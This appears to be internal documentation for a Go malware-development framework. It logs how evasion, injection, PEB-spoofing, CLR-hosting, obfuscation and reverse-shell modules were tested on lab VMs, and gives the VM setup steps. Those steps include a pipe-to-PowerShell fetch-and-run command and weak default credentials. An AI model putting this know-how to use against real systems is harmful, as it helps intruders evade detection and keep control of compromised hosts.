These deltas are real signal — exactly the reason the second Windows target exists. Mitigation work tracks per chantier:

• Remote-injection deltas (CallerMatrix) → revisit in chantier IV (Win11 sigs validation) and the v0.33.0+ Caller-routing follow-ups in the lsass plan.
• fakecmd / herpaderping → mark as Win11-aware skips with build detection (win/version.IsAtLeast(11)); document ATT&CK detection delta.
• selfdelete → research the Win11 rename-on-reboot regression; check whether the new FILE_RENAME_INFO + FILE_DISPOSITION_INFO_EX path needs an alternate code path.

PPID Spoofing

The c2/shell package includes a PPID spoofer (PPIDSpoofer) that creates child processes under a fake parent via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.

Known Limitation: Windows 10 22H2 blocks PROC_THREAD_ATTRIBUTE_PARENT_PROCESS with ACCESS_DENIED even with admin + SeDebugPrivilege + no ASR rules configured. This appears to be a kernel-level mitigation (not ASR/Exploit Guard). OpenProcess(PROCESS_CREATE_PROCESS) succeeds, but CreateProcess with the spoofed parent fails. The technique works on older Windows versions without these protections.

Sprint 2 Additions (2026-04-15)

Three new feature packages + one doc overhaul were battle-tested this session. Host runs and VM runs both captured; bugs fixed on the spot.

inject callbacks — 3 new execution methods

Allocator helper moved to testutil.WindowsCETStubX64 (shared CET-safe endbr64;ret shellcode; required by Win11 KiUserApcDispatcher).

persistence/scheduler — COM ITaskService rewrite

Two bugs fixed during the VM run: ole.NewVariant(VT_NULL) → nil (oleutil marshaller panic), and StartBoundary now always set (Task Scheduler rejects DAILY triggers without it).

runtime/clr — in-process .NET hosting

Load() tries CorBindToRuntimeEx first, falls back to CLRCreateInstance+BindAsLegacyV2Runtime. The three Load-dependent tests run inside a separate helper binary — testutil/clrhost/ — built on demand with a committed <exe>.config that enables legacy v2 activation. testutil.RunCLROperation spawns the helper, inspects its exit code, and maps environmental failures (exit=2, "ICorRuntimeHost unavailable") to t.Skip so the test suite stays green.

* Observed behaviour on Win10 build 19045.6466 + NetFx3 Enabled: even with the committed .config and a fresh unmanaged helper process, GetInterface(CorRuntimeHost) still returns REGDB_E_CLASSNOTREG. The three SKIPs therefore remain on this specific Windows build. The infrastructure is in place for the moment Microsoft restores legacy activation paths, or when running on an environment that does — older Win10 builds, LTSC images, .NET-aware manifested hosts, etc.

Runtime helpers for operational use:

• clr.InstallRuntimeActivationPolicy() drops <exe>.config next to the running binary before Load.
• clr.RemoveRuntimeActivationPolicy() deletes it after Load succeeds (mscoree has cached the policy — file no longer needed, OPSEC cleanup).

evasion/cet — CET shadow-stack manipulation

cet.Enforced() / cet.Disable() are environment-dependent and not unit-asserted — verified manually on the Win10 VM (returns false; no CET enforcement on this CPU/image combo). Unit-testable on a Win11+CET host.

pe/masquerade — compile-time PE resource embedding (T1036.005)

End-to-end validation via pe/masquerade/internal/e2e_cmd_test:

process/session — WTS enumeration

Windows 11 CET gotcha

KiUserApcDispatcher rejects non-endbr64 indirect targets with STATUS_STACK_BUFFER_OVERRUN (0xC000070A). Any future test that allocates a shellcode stub for an APC path must start with F3 0F 1E FA (endbr64). Use testutil.WindowsCETStubX64.

Sprint 2 Extensions (2026-04-15)

Five additional packages landed on top of the Sprint 2 base. All tested on host and on Windows10 VM (snapshot INIT restored between runs).

c2/transport — server-side Listener interface

Adds Listener, NewTCPListener, NewTLSListener as the symmetric of Transport for operator-side reverse-shell handlers. Thin wrappers over net.Listen / tls.Listen with context-cancelable Accept.

Tests (11 PASS, 1 SKIP in loopback race): TestTCPRoundTrip, TestTCPReconnect, TestTCPRemoteAddr, TestTCPContextCancel (SKIP: loopback accepts before ctx fires), TestTCPContextCancelNonRoutable (non-routable addr forces the cancel path), TestNewTLS_Options, TestWithFingerprint, TestNewUTLS_Options, plus malleable HTTP tests.

c2/multicat — multi-session reverse-shell manager

Operator-side listener that multiplexes inbound shells into numbered sessions, reads an optional BANNER:<hostname>\n within 500 ms, and emits lifecycle events on a buffered channel. Never embedded in the implant.

MITRE: T1571.

Tests (6 PASS, in-memory with net.Pipe): TestListenAccept, TestSessionsIDSequential, TestBannerHostname, TestRemoveSession, TestEvents, TestGet. Tests write "\n" from the client side to unblock the 500 ms banner-read deadline so the session registers before Sessions() snapshot.

crypto — lightweight obfuscation primitives

Non-cryptographic but signature-breaking transforms: TEA, XTEA (8-byte block, 16-byte key, 64 rounds, PKCS7), ArithShift (position-dependent byte add), S-Box (random 256-byte permutation + inverse via Fisher-Yates on crypto/rand), and MatrixTransform / "Agent Smith" (Hill cipher mod 256, n∈{2,3,4}, adjugate inverse).

MITRE: T1027 / T1027.013.

Tests: TestTEARoundtrip, TestXTEARoundtrip, TestArithShiftRoundtrip, TestSBoxRoundtrip, TestMatrixTransformRoundtrip (iterates n=2,3,4). All PASS on host + VM.

Gotcha: a compile-time uint32(teaDelta * rounds/2) overflows the untyped-constant range in Go. The runtime sum loop for j { sum += teaDelta } replaces it. matDet needs an explicit n == 1 case for 2×2 matrix inversion (recursive cofactor minors land at 1×1).

process/tamper/fakecmd — SpoofPID remote PEB overwrite

Extends the existing self-spoof to a remote process. Opens the target with PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, walks PEB→ProcessParameters→CommandLine, allocates a new UTF-16 buffer in the target with NtAllocateVirtualMemory, writes the fake string, and patches Length / MaximumLength / Buffer of the UNICODE_STRING in place. No Restore counterpart — the caller tracks the original.

Signature accepts an optional *wsyscall.Caller that routes both NtQueryInformationProcess and NtAllocateVirtualMemory.

MITRE: T1036.005.

Test: TestSpoofPID (PASS, VM elevated). Spawns notepad, calls SpoofPID(pid, fake, nil), then reads the remote PEB back via readRemoteCmdLine and asserts equality. Skipped on host when not running as admin via testutil.RequireAdmin.

encode — markdown documentation page

No new Go code. Creates docs/techniques/encode/README.md covering Base64/Base64URL/UTF-16LE/PowerShell/ROT13, when to encode vs encrypt, and the encrypt → encode layering pattern. All existing encode tests continue to PASS.

VM Infra Fixes Landed With This Sprint

• Persistent shared folder maldev on Windows10 VM with --automount --auto-mount-point "Z:" so Z:\scripts\vm-test.ps1 resolves.
• vm-test.ps1 tolerates comma-separated -Packages because VBoxManage guestcontrol drops internal whitespace from -- args; multi-package runs must pass a single ./... glob, commas, or invoke the runner once per package.

Known Limitations

Coverage Workflow — test harness state (as of 2026-04-22)

This document is the entry point for any agent or contributor picking up the coverage + VM-testing work. It describes the infrastructure currently in place, how to reproduce it, what passes / skips / fails, and what's left to do.

[!NOTE] The pass/skip counts in this document reflect the 2026-04-22 baseline run. Newer infrastructure shipped after that date — win/com.Error shared HRESULT helper (consumed by runtime/clr + persistence/lnk), stealthopen.Creator write-side interface (LNK / ADS / .kirbi / PE / .syso emit), and the LNK three-sink API (Save / BuildBytes / WriteTo / WriteVia) — has unit-test coverage running on host but has not been re-baselined under bash scripts/full-coverage.sh. See testing.md for the per-package row-level coverage table updated to the current API surface.

For bootstrap from scratch (creating VMs, SSH keys, INIT snapshots) see docs/vm-test-setup.md. For per-test-type details (x64dbg harness, BSOD, Meterpreter matrix) see docs/testing.md. This document is the cross-platform coverage collection workflow itself.

TL;DR — two commands to reproduce everything

# 1) Provision the VMs (idempotent — short-circuits what's already installed).
#    Installs .NET 3.5 on win10, postgresql + msfdb on debian13, then takes
#    a TOOLS snapshot per VM. ~10 min on first run, <30s on re-runs.
bash scripts/vm-provision.sh

# 2) Collect coverage end-to-end (host + Linux VM + Windows VM, all gates
#    open, consolidated report). ~25 min.
bash scripts/full-coverage.sh --snapshot=TOOLS

Outputs (written to ignore/coverage/, which is gitignored):

• report-full.md — per-package table sorted by ascending coverage, with a function-level gap list for the packages that aren't at 100%.
• cover-merged-full.out — merged Go cover profile (consumable by go tool cover).
• tallies.txt — one-line per-run summary in native go test format.
• <domain>/test.log + <domain>/cover.out — per-VM artifacts.

Script architecture

Common flags:

• --snapshot=NAME (default INIT) — snapshot used for restore, also forwarded to vmtest via MALDEV_VM_*_SNAPSHOT.
• --no-restore — leave VMs running after the run (debugging).
• --skip-host / --skip-linux-vm / --skip-windows-vm — granular control.
• --only=<vm> on vm-provision.sh — provision a single VM.
• Env overrides (MALDEV_VM_WINDOWS_SSH_HOST, MALDEV_KALI_SUDO_PASSWORD, MALDEV_VM_SNAPSHOT, …) for portability across hosts.

Concrete usage examples

# Provision just Windows, don't touch Kali/Linux.
bash scripts/vm-provision.sh --only=windows

# Quick iteration on a single package — skip the host + Linux VM phases.
bash scripts/full-coverage.sh --snapshot=TOOLS --skip-host --skip-linux-vm

# Cross-version coverage: include the optional second Windows build (win11-2).
# Auto-skips when scripts/vm-test/config.local.yaml has no windows11: block.
bash scripts/full-coverage.sh                    # win10 + win11-2 + linux + kali

# Skip the second Windows build explicitly:
bash scripts/full-coverage.sh --skip-windows11-vm

# Narrow vmtest directly at one package (faster than the full wrapper).
MALDEV_VM_WINDOWS_SSH_HOST=192.168.122.122 \
MALDEV_VM_WINDOWS_SNAPSHOT=TOOLS \
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 \
  go run ./cmd/vmtest -report-dir=ignore/coverage windows \
    "./runtime/clr/..." "-count=1 -v -timeout=5m"

# Merge arbitrary profiles by hand.
go run scripts/coverage-merge.go \
  -out ignore/coverage/cover-merged.out \
  -report ignore/coverage/report.md \
  ignore/coverage/cover-linux-host.out \
  ignore/coverage/win10/cover.out \
  ignore/coverage/win10/clrhost-cover.out

Snapshot inventory

Each VM has two snapshots dedicated to the test harness:

Rule: always test on TOOLS. INIT stays pristine as a fallback if TOOLS gets corrupted. vm-provision.sh is idempotent: if TOOLS already exists and the tools are already installed, it's a no-op.

Test gates (environment variables)

The harness uses opt-in gates so running go test ./... locally doesn't accidentally trigger destructive operations.

scripts/full-coverage.sh exports all 10 variables automatically — pass --snapshot=TOOLS and it handles the rest.

Reference results (run from 2026-04-22 — TOOLS snapshot)

  cover-linux-host.out                     cov=44.8% (host, all gates)
  ubuntu20.04-                             cov=44.4% P=310  F=0*  S=41   (Linux VM)
  win10                                    cov=50.0% P=672  F=0** S=23   (Windows VM)
  ----------------------------------------
  cover-merged-full.out                    cov=51.9% (merged)

Progression over the course of the work:

¹ The runtime/clr CLR tests still SKIP on this VM — the TOOLS provisioning enabled .NET 3.5 but the legacy v2 COM activation chain remains incomplete (see CLR v2 activation blocker below). The merge coverage for runtime/clr is from the failure paths in Load(), which the clrhost-cover.out profile captures.

* Historical: TestProcMemSelfInject flapped 2 out of 3 runs (transient SIGSEGV in the child during exit cleanup, after injection succeeded). Fixed via 3× retry + PROCMEM_OK marker match in stdout instead of relying on exit code.

** Historical: TestBusyWaitPrimality failed on the Windows VM (took 10.15 s against a 10 s upper bound). Fixed by raising the bound to 60 s — the VM's CPU is shared (20 vCPUs / 4 GB RAM) and non-deterministic.

Remaining SKIPs — justified inventory (64 across the all-gates run)

SKIPs aren't a defect as long as each one is legitimate. Classification:

CLR v2 legacy activation blocker

runtime/clr tests (TestLoadAndClose, TestExecuteAssemblyEmpty, TestExecuteDLLValidation, TestExecuteDLLReal) skip with:

clr: ICorRuntimeHost unavailable (install .NET 3.5 and call InstallRuntimeActivationPolicy before Load)

This is environmental, not a code bug. Diagnosed during the 2026-04-22 session:

• Get-WindowsOptionalFeature -Online -FeatureName NetFx3 → State=Enabled
• C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll present (10.6 MB)
• A hand-written C# hello.cs compiled with v2.0.50727\csc.exe runs correctly — the v2 runtime itself works end-to-end
• TestInstallAndRemoveRuntimeActivationPolicy PASSES (writes/removes the legacy config file correctly)

Root cause: CLSID {CB2F6722-AB3A-11D2-9C40-00C04FA30A3E} (CorRuntimeHost) is not registered in HKLM\SOFTWARE\Classes\CLSID\. Only the sibling CLSID {CB2F6723-AB3A-11d2-9C40-00C04FA30A3E} (IMetaDataDispenser) exists. DISM /Enable-Feature /FeatureName:NetFx3 is not sufficient — it enables the runtime bits but leaves the legacy v2 activation chain incomplete.

Attempts that did NOT unblock it (all tried during the session):

• Reboot (actually shutdown /r under SYSTEM didn't really reboot)
• regsvr32 mscoree.dll (System32 + SysWOW64, both exit 0 but CLSID still missing)
• RegAsm.exe mscorlib.dll /codebase (failed RA0000 "need admin credentials" even under SYSTEM)
• Manual reg import of the CLSID structure mirroring the sibling {CB2F6723-…} entry — keys exist (HKLM\SOFTWARE\Classes\CLSID\{CB2F6722-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32 → mscoree.dll, ThreadingModel=Both, ProgID=CLRRuntimeHost, ImplementedInThisVersion={2.0.50727,4.0.30319}) but CorBindToRuntimeEx still returns 0x80040154 (REGDB_E_CLASSNOTREG) for both v2.0.50727 and v4.0.30319. Confirmed 2026-04-25 with a one-shot Go diagnostic that calls mscoree!CorBindToRuntimeEx directly and prints the raw HRESULT. Conclusion: mscoree's internal binding looks at more than just the CLSID — interface registration, typelib, and Fusion entries are also missing, and only the full .NET 3.5 Redistributable (offline dotnetfx35.exe from Win7-era, or the in-place sources/sxs payload from a Win10 ISO) runs the complete chain.
• InstallRuntimeActivationPolicy() at startup of clrhost (writes <exe>.config — doesn't help, the issue is COM registration)

What was added in TOOLS v2 (2026-04-25):

• scripts/vm-provision.sh now imports the CLSID {CB2F6722-…} entry every provisioning pass, so future debug rounds start from the same baseline rather than rediscovering the missing key. It also pushes + runs dism /online /Add-Package against the Win10 ISO's sources/sxs/microsoft-windows-netfx3-ondemand-package*.cab when staged at MALDEV_NETFX3_CAB. Confirmed 2026-04-25 that this still doesn't unblock CorBindToRuntimeEx after a reboot, but it gets the snapshot one step closer to a working CLR2 activation chain.
• runtime/clr/clr_windows.go::corBindToRuntimeEx wraps the REGDB_E_CLASSNOTREG path with %w + the raw HRESULT, so SKIP messages now read CorBindToRuntimeEx(v2.0.50727): HRESULT 0x80040154 (REGDB_E_CLASSNOTREG): clr: ICorRuntimeHost unavailable … — the next investigator sees the actual code without rebuilding.

What was tried + ruled out 2026-04-25 (after pt 1/2):

1. dism /online /enable-feature /featurename:NetFx3 /all /Source:<sources/sxs> /LimitAccess after a dism /disable-feature round-trip — failed 0x488 (1168, ERROR_NOT_FOUND). The OnDemand cab alone isn't enough for /enable-feature.
2. dism /online /Add-Package /PackagePath:<sources/sxs/...netfx3-ondemand...cab> — succeeded, exit 3010 (REBOOT_REQUIRED). After reboot, CorBindToRuntimeEx still returns 0x80040154. The OnDemand package adds the runtime files but not the legacy COM/typelib/Fusion chain mscoree binds against.
3. Win7-era .NET Framework 3.5 Redistributable (dotnetfx35.exe, 232 MB from Microsoft download CDN) — the installer ran silently and returned 0 but produced no log content beyond DONE_EXIT=0; on Win10 it refuses to install (the OS is "newer than supported"). HRESULT unchanged.

What to try next (still open, needs Windows ISO):

1. Mount a Win10 22H2 ISO inside the VM and run dism /online /enable-feature /featurename:NetFx3 /all /source:D:\sources\sxs /LimitAccess. This drives the full registration chain that the network-only DISM path skips.
2. Install the .NET Framework 3.5 Redistributable offline installer (dotnetfx35.exe, Win7-era) — even on Win10 it tends to trigger the full COM/typelib/Fusion registration via mscorsvw.exe post-install hooks.
3. sfc /scannow to restore system file coherence.
4. Re-provision the win10 VM from a fresh Windows ISO that bundles .NET 3.5 in the install base rather than activated after the fact via DISM.

The clrhost coverage infrastructure itself is correct — go build -cover, GOCOVERDIR, go tool covdata textfmt, vmtest.Fetch, and coverage-merge.go all work. When the CLR environment cooperates, 7+ runtime/clr functions light up in the merged profile (Load 56.7%, enumerate 100%, orderCandidates 90%, metaHostRuntime 77.8%, runtimeInfoBindLegacyV2 100%, runtimeInfoCorHost 62.5%, createMetaHost 80%). Don't rewrite the mechanism — just fix the VM.

Other open leads

1. Signtool — install Windows SDK (headless via winget install Microsoft.WindowsSDK), re-snapshot TOOLS. Unblocks TestBuildWithCertificate.

2. Service skeleton for cleanup/service — pre-create a dummy service in the TOOLS snapshot (sc create maldev-test-svc binPath=C:\Windows\System32\cmd.exe). Unblocks Test{Hide,UnHide}Service*.

3. Packages without _test.go (29 as of 2026-04-22; see ignore/coverage/no-tests.txt if regenerated) — mainly cmd/* binary entry points and pe/masquerade/preset/*. The former are main() functions (out of scope for unit tests); the latter are resource-only packages with no executable code.

4. Meterpreter matrix — scripts/x64dbg-harness/meterpreter_matrix/ exercises 20 techniques × MSF sessions. Not integrated into full-coverage.sh yet; run manually. Results logged in docs/testing.md.

5. Automated "missing tool" detection — extend vm-provision.sh to actively probe for signtool, Windows SDK, interactive session (today it checks only NetFx3, postgresql, msfdb). Add an issue-style section in the log listing what's absent.

Files produced by this work

cmd/vmtest/driver.go                       # +Fetch, +io.Writer in Exec
cmd/vmtest/driver_libvirt.go               # +Fetch scp, +io.Writer
cmd/vmtest/driver_vbox.go                  # +Fetch copyfrom, +io.Writer
cmd/vmtest/runner.go                       # +-report-dir, -coverprofile inject, tee log, Fetch cover.out + clrhost-cover.out
cmd/vmtest/runner_test.go                  # 4 unit tests (injectCoverprofile, safeLabel, guestCoverPath, guestClrhostCoverPath)
cmd/vmtest/main.go                         # +-report-dir flag

scripts/coverage-merge.go                  # merge N cover profiles → Markdown
scripts/full-coverage.sh                   # end-to-end workflow
scripts/vm-provision.sh                    # install tools + snapshot TOOLS

docs/coverage-workflow.md                  # this file

testutil/kali_test.go                      # 4 env resolvers (kaliSSHHost/Port/Key/User)
testutil/clr_windows.go                    # clrhost built with -cover, covdata → textfmt
testutil/clrhost/main.go                   # +exec-dll-real op, +--dll-path flag
testutil/clrhost/maldev_clr_test.dll       # 3 KB .NET 2.0 assembly (Maldev.TestClass.Run)

evasion/unhook/factories_test.go           # 5 factories + Name methods (Windows)
recon/hwbp/technique_test.go             # Technique() factory (Windows)
evasion/cet/cet_test.go                    # +Enforced/Disable stub tests
process/tamper/hideprocess/hideprocess_stub_test.go
evasion/stealthopen/stealthopen_stub_test.go
process/tamper/fakecmd/fakecmd_stub_test.go
evasion/preset/preset_stub_test.go
evasion/hook/hook_stub_test.go
evasion/hook/probe_stub_test.go
evasion/hook/remote_stub_test.go
evasion/hook/bridge/controller_stub_test.go
evasion/hook/bridge/controller_windows_test.go  # 8 deeper tests for CallOriginal, Args, Log, Ask
evasion/hook/hook_lifecycle_windows_test.go     # TestReinstallAfterRemove, TestInstallOnPristineTargetAfterGroupRollback
c2/transport/namedpipe/namedpipe_stub_test.go
cleanup/ads/ads_stub_test.go
process/session/sessions_stub_test.go
runtime/clr/clr_stub_test.go
internal/compat/cmp/cmp_modern_test.go
internal/compat/slices/slices_modern_test.go

runtime/clr/clr_windows_test.go                 # +TestExecuteDLLReal

recon/timing/timing_test.go              # TestBusyWaitPrimality upper bound 10s → 60s
inject/linux_test.go                       # TestProcMemSelfInject retry 3× + PROCMEM_OK marker

Troubleshooting

• VM unreachable over SSH. virsh -c qemu:///session list --all, virsh start <vm>, check ip neigh show | grep 52:54 (VM MAC in the ARP table). Session-mode libvirt doesn't expose DHCP leases via virsh domifaddr, hence the env-pinned IPs.
• DISM "Access denied". OpenSSH on Windows 10 runs at medium integrity; UAC blocks elevation. Workaround: run via schtasks /ru SYSTEM (see scripts/vm-provision.sh for the pattern).
• Kali sudo prompts for a password. Default is test; override via MALDEV_KALI_SUDO_PASSWORD.
• TOOLS snapshot corrupted. virsh snapshot-delete <vm> --snapshotname TOOLS, then re-run vm-provision.sh.
• Windows tests frozen with no output. go test ./... compiles silently for the first ~5 min — that's normal. Use -v to see each test as it starts rather than waiting for the package-level summary.
• TestProcMemSelfInject / TestBusyWaitPrimality red. If they flap despite the retry/bound fixes, reproduce with go test -count=5 -run <Name> and tighten further.
• VM silently pauses mid-run (QEMU paused state). Observed 2 out of 5 runs during the 2026-04-22 session. ARP entry for the VM drops, SSH returns "No route to host". Workaround: virsh destroy <vm> && virsh snapshot-revert <vm> --snapshotname TOOLS --force, then relaunch. If chronic, recreate TOOLS from a fresh INIT.
• runtime/clr tests SKIP with ICorRuntimeHost unavailable. See the CLR v2 activation blocker section above. Not a code bug in maldev — the .NET 3.5 install on this VM is incomplete at the COM-registration layer.

VM Test Setup — Reproducible Bootstrap

Scope. This document covers bootstrap from zero: host tools, guest OS install, SSH keys, INIT snapshot. For per-test-type details (injection matrix, Meterpreter, evasion byte-pattern verification, BSOD) see docs/testing.md. For the cross-platform coverage collection workflow (merged report) see docs/coverage-workflow.md.

This guide brings a fresh host (Fedora/libvirt or Windows/VirtualBox) to the state where ./scripts/test-all.sh runs the full pass/fail matrix:

• memscan static verification matrix — 77+ byte-pattern checks
• Linux VM go test — intrusive + manual tests enabled
• Windows VM go test — intrusive + manual tests enabled

For the merged coverage workflow (same VMs, additionally captures cover.out from each guest and unions profiles into a single report), run scripts/full-coverage.sh after provisioning a TOOLS snapshot with scripts/vm-provision.sh — see docs/coverage-workflow.md.

The Kali VM (Meterpreter handler) is provisioned similarly but orchestrated separately via testutil/kali.go.

Host requirements

Fedora quick install:

sudo dnf install -y @virtualization virt-manager virt-install sshpass rsync openssh-clients
sudo systemctl enable --now libvirtd
sudo usermod -aG libvirt "$USER"   # re-login required

Windows: download VBox + Go MSI, add C:\Program Files\Oracle\VirtualBox to PATH, open Git Bash.

VM inventory

Three VMs, names committed in scripts/vm-test/config.yaml as defaults. Per-host overrides in scripts/vm-test/config.local.yaml (gitignored).

The windows11 target is optional — vmtest all runs all configured VMs but vmtest windows / vmtest windows11 lets you target one build at a time. To add a second Windows VM after the first is set up, repeat the bootstrap steps with the libvirt domain name in config.local.yaml's vms.windows11.libvirt_name.

INIT is a snapshot taken AFTER provisioning (Go installed, OpenSSH up, SSH key authorized, firewall opened). Every test run reverts to INIT.

One-time bootstrap, from scratch

1. Generate host-side SSH keys (one per VM role)

mkdir -p ~/.ssh && chmod 700 ~/.ssh
ssh-keygen -t ed25519 -f ~/.ssh/vm_windows_key -N '' -C "maldev-vmtest-windows"
ssh-keygen -t ed25519 -f ~/.ssh/vm_linux_key   -N '' -C "maldev-vmtest-linux"
ssh-keygen -t ed25519 -f ~/.ssh/vm_kali_key    -N '' -C "maldev-vmtest-kali"

Keys live outside the repo. Never committed.

2. Install the guest OSes

• Linux guest: Ubuntu 20.04+ or Debian. During install, create local user test with password test, grant sudo. Install can be anything (virt-install cloud-init, GNOME Boxes, VirtualBox GUI).
• Windows guest: Windows 10/11. During install, create local user test with password test, add to Administrators.
• Kali guest: standard Kali install. Create user test with password test (or any pair you pass to sshpass).

3. Provision each guest (bring it to ready state)

Two paths per guest. Pick one.

3a. Scripted — inside the guest

Copy the bootstrap script into the guest and run it.

• Linux / Kali guest — from the host:

  scp scripts/vm-test/bootstrap-linux-guest.sh test@<guest-ip>:/tmp/
  ssh test@<guest-ip> "bash /tmp/bootstrap-linux-guest.sh"
  

  The script: installs openssh-server + rsync + curl + Go 1.26 (or GO_VERSION override), enables sshd at boot, creates /usr/local/bin/go symlink so non-login SSH sessions see Go.

• Windows guest — inside the VM (elevated PowerShell):

  # Paste the public key and run (one-time):
  iwr -useb http://<host-ip>/bootstrap-windows-guest.ps1 | iex
  # OR copy scripts\vm-test\bootstrap-windows-guest.ps1 into the VM and run:
  .\bootstrap-windows-guest.ps1 -PublicKey "ssh-ed25519 AAAA..."
  

  The script: installs OpenSSH Server, starts sshd, opens firewall 22 and 50300, comments out the Match Group administrators block in sshd_config (so admin users read ~/.ssh/authorized_keys normally), installs Go into C:\Go, creates memscan firewall rule. Pass -PublicKey containing the content of ~/.ssh/vm_windows_key.pub.

3b. Manual — if you prefer

See Manual guest provisioning at the bottom.

4. Push SSH keys into the guests

# Start each VM and ensure sshd is listening on port 22.
virsh start win10 && virsh start ubuntu20.04 && virsh start kali     # libvirt
# (or use VBoxManage startvm on Windows)

./scripts/vm-test/install-keys.sh linux   # pushes vm_linux_key.pub via ssh-copy-id
./scripts/vm-test/install-keys.sh kali    # same for Kali
# Windows: the bootstrap script already installed the key — skip install-keys.sh.

5. Create the INIT snapshot on each VM

libvirt:

for d in win10 ubuntu20.04 kali; do
    virsh snapshot-create-as "$d" --name INIT --description "post-provision ready state"
done

VirtualBox:

for vm in Windows10 Ubuntu25.10 Kali; do
    VBoxManage snapshot "$vm" take INIT --description "post-provision ready state" --live
done

6. Wire up config.local.yaml (host-side, per-host overrides)

cp scripts/vm-test/config.local.example.yaml scripts/vm-test/config.local.yaml
# edit: set libvirt_name if your domain names differ, and ssh_key paths.

For Kali: its host/user/key come from environment, not YAML.

cp scripts/vm-test/kali-env.sh.example scripts/vm-test/kali-env.sh
# edit: set MALDEV_KALI_SSH_HOST to `virsh domifaddr kali | awk '/ipv4/...'`
# Then source it from your shell:
echo '. ~/GolandProjects/maldev/scripts/vm-test/kali-env.sh' >> ~/.bashrc

7. Verify

./scripts/test-all.sh --only memscan   # static matrix
./scripts/test-all.sh --only linux     # Linux go test ./...
./scripts/test-all.sh --only windows   # Windows go test ./...
./scripts/test-all.sh                  # everything, with a unified report

Expected final summary:

  memscan    PASS  total sub-checks: 77 passed / 0 failed (0 fatal row(s))
  linux      PASS  packages: N ok / 0 FAIL (exit=0)
  windows    PASS  packages: N ok / 0 FAIL (exit=0)
overall: PASS

Debugging native crashes inside the Windows VM

When a test process crashes with an access violation on a non-Go thread (e.g. a thread-pool callback, as happens with the Ekko ROP chain), Go's own crash reporter usually catches it and prints a traceback — but the stack dump is often enough to pinpoint the bug. Workflow:

# Run the failing test DIRECTLY via SSH (bypassing vmtest so the VM
# doesn't auto-revert and lose state). Source is pushed as a tarball.
tar -czf /tmp/src.tar.gz --exclude='.git' --exclude='ignore' .
scp -i $HOME/.ssh/vm_windows_key -o StrictHostKeyChecking=no \
    /tmp/src.tar.gz test@<VM_IP>:C:/maldev-src.tar.gz
ssh -i $HOME/.ssh/vm_windows_key test@<VM_IP> \
    'cd /d C:\maldev & tar -xzf C:\maldev-src.tar.gz & \
     go test -c -o C:\t.exe ./<package>/'
ssh -i $HOME/.ssh/vm_windows_key test@<VM_IP> \
    'C:\t.exe -test.v -test.run <Name>' > /tmp/crash.log 2>&1
head -30 /tmp/crash.log    # exception code, address, goroutine trace

Go's crash output includes:

• signal 0xc0000005 code=0x0 addr=0x... — exception code + fault address
• goroutine N gp=... [running]: + symbolic stack frames
• unexpected return pc for X called from 0x... — surfaces stack corruption

If the Go reporter doesn't surface enough detail, WER LocalDumps (configured by scripts/vm-provision.sh) writes a full minidump to C:\Dumps\*.dmp; fetch it back via scp and analyze on the host. The TOOLS snapshot already has the registry keys (DumpType=2, DumpFolder=C:\Dumps).

Troubleshooting

Manual guest provisioning

If the bootstrap scripts don't fit, here's the minimum each guest needs.

Linux / Kali guest

sudo apt update && sudo apt install -y openssh-server rsync curl
sudo systemctl enable --now ssh

curl -LO https://go.dev/dl/go1.26.2.linux-amd64.tar.gz
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf go1.26.2.linux-amd64.tar.gz
sudo ln -sf /usr/local/go/bin/go    /usr/local/bin/go
sudo ln -sf /usr/local/go/bin/gofmt /usr/local/bin/gofmt
rm go1.26.2.linux-amd64.tar.gz

Kali only: sudo apt install -y metasploit-framework (usually pre-installed).

Windows guest (elevated PowerShell)

Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic
New-NetFirewallRule -Name memscan-in -Direction Inbound -LocalPort 50300 -Protocol TCP -Action Allow
New-NetFirewallRule -Name ssh-in -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Authorize the host's public key.
$k = 'ssh-ed25519 AAAA... maldev-vmtest-windows'
New-Item -ItemType Directory -Force C:\Users\test\.ssh | Out-Null
Add-Content C:\Users\test\.ssh\authorized_keys $k
icacls C:\Users\test\.ssh\authorized_keys /inheritance:r /grant "test:F" /grant "SYSTEM:F"

# If user 'test' is an admin: comment Match Group administrators block.
$cfg = "$env:ProgramData\ssh\sshd_config"
(Get-Content $cfg) -replace '^(Match Group administrators)','# $1' `
    -replace '^(\s*AuthorizedKeysFile\s+__PROGRAMDATA__)','# $1' |
    Set-Content $cfg -Encoding ASCII
Restart-Service sshd

# Go 1.26.2.
$zip = "$env:TEMP\go.zip"
Invoke-WebRequest https://go.dev/dl/go1.26.2.windows-amd64.zip -OutFile $zip -UseBasicParsing
Expand-Archive $zip -DestinationPath C:\ -Force
[Environment]::SetEnvironmentVariable("Path",
    [Environment]::GetEnvironmentVariable("Path","Machine") + ";C:\Go\bin", "Machine")
Remove-Item $zip

Then take a INIT snapshot and register the libvirt/VBox name in scripts/vm-test/config.local.yaml.

Future extensions (Phase 5)

Not currently in the matrix, kept in this note so a contributor can add them without re-deriving the design:

1. Remote-inject verifs (~20 additional sub-checks): CreateRemoteThread, RtlCreateUserThread, EarlyBirdAPC, QueueUserAPC, ThreadHijack, KernelCallbackExec, PhantomDLLInject, ModuleStomp, ExecuteCallback {EnumWindows, TimerQueue, CertEnumStore} × 4 callers where applicable. Pattern: extend cmd/memscan-harness/harness_windows.go with a -target notepad flag that spawns notepad.exe, uses that PID for inject.Config.PID, then reports both harness PID and target_pid=<notepad>. The orchestrator attaches to target_pid for /find. Expected "fails" per docs/testing.md:61-62: ThreadHijack+Direct/Indirect (RSP alignment), CreateFiber (deadlocks Go).

2. BSOD test (crashes VM, restores snapshot): reimplement the gitignored scripts/vm-test-bsod.go using the same vmtest driver. Launch harness via scheduled task that calls bsod.Trigger(nil), poll sshd disappearance on the VM, then driver.Restore().

3. Meterpreter matrix (~21 end-to-end sessions): wrap the Meterpreter e2e scenarios from docs/testing.md:78-108 in the same matrix-runner shape as memscan. Each row: spawn MSF handler on Kali via testutil.KaliStartListener, inject msfvenom shellcode via one Method × Caller, assert testutil.KaliCheckSession() returns true.

